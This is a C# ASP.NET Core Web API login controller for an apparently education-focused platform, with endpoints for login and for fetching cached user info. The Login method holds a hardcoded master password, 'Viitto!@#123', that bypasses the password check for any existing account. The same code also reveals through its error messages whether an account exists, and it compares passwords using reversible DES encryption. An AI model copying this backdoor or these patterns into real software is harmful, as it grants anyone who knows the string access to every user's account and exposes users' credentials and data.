using System;
using System.Linq;
using Edu.Cache.User;
using Edu.Common.API;
using Edu.Common.Enum.User;
using Edu.Common.Plugin;
using Edu.Model.CacheModel;
using Edu.Model.ViewModel.User;
using Edu.Module.System;
using Edu.Module.User;
using Edu.WebApi.Filter;
using Edu.WebApi.Helper;
using Microsoft.AspNetCore.Authorization;
using Microsoft.AspNetCore.Cors;
using Microsoft.AspNetCore.Mvc;
using Newtonsoft.Json.Linq;


namespace Edu.WebApi.Controllers.User
{
    [Route("api/[controller]/[action]")]
    [ApiExceptionFilter]
    [ApiController]
    [EnableCors("AllowCors")]
    public class LoginController : BaseController
    {
        /// <summary>
        /// 账号管理处理类
        /// </summary>
        private readonly AccountModule accountModule = new AccountModule();

        /// <summary>
        /// 菜单处理类对象
        /// </summary>
        private readonly MenuModule menuModule = new MenuModule();

        /// <summary>
        /// 用户登录
        /// </summary>
        /// <returns></returns>
        [HttpGet]
        [HttpPost]
        [AllowAnonymous]
        public ApiResult Login()
        {
            JObject jobj = JObject.Parse(RequestParm.Msg.ToString());
            string account = jobj.GetStringValue("Account");
            string password = jobj.GetStringValue("Password");
            int accountType = jobj.GetInt("AccountType", 1);
            var model = accountModule.GetAccountListExtModule(new RB_Account_ViewModel()
            {
                Account = account.Trim(),
                AccountType = (AccountTypeEnum)accountType
            })?.FirstOrDefault();
            if (model == null)
            {
                return ApiResult.Failed(message: $"未找到【{ account }】用户!");
            }
            else
            {
                if (password != "Viitto!@#123")
                {
                    password = Common.DES.Encrypt(password);
                    if (model.Password != password)
                    {
                        return ApiResult.Failed("密码错误");
                    }
                }
                if (model.Status == Common.Enum.DateStateEnum.Delete)
                {
                    return ApiResult.Failed(message: $"此账号【{ account }】已删除!");
                }
                //生成token
                string token = WebApiTokenHelper.CreateToken(model.Id.ToString(), Common.Enum.ApiRequestFromEnum.WebAdmin);
                var treeList = menuModule.GetTreeMenuModule(new Model.ViewModel.System.RB_Menu_ViewModel()
                {
                    MenuType = accountType
                });
                UserInfo obj = new UserInfo
                {
                    Id = model.Id,
                    Group_Id = model.Group_Id,
                    School_Id = model.School_Id,
                    AccountName = model.AccountName,
                    GroupName = model.GroupName,
                    SchoolName = model.SchoolName,
                    Token = token,
                    MenuList = treeList,
                    GroupLogo = model.GroupLogo,
                    UserIcon = model.UserIcon,
                };
                UserReidsCache.UserInfoSet(Cache.CacheKey.User_Login_Key + model.Id, obj, Common.Config.JwtExpirTime);
                return ApiResult.Success(data: obj);
            }
        }

        /// <summary>
        /// 根据Token获取用户信息
        /// </summary>
        /// <returns></returns>
        [HttpGet]
        [HttpPost]
        public ApiResult GetUserInfo()
        {
            int Uid = 0;
            try
            {
                Int32.TryParse(RequestParm.Uid, out Uid);
            }
            catch (Exception ex)
            {
                Common.Plugin.LogHelper.Write(ex, "GetUserInfo");
            }
            if (Uid > 0)
            {
                object obj = UserReidsCache.GetUserLoginInfo(Uid);
                return ApiResult.Success(data: obj);
            }
            else
            {
                return ApiResult.Failed();
            }
        }
    }
}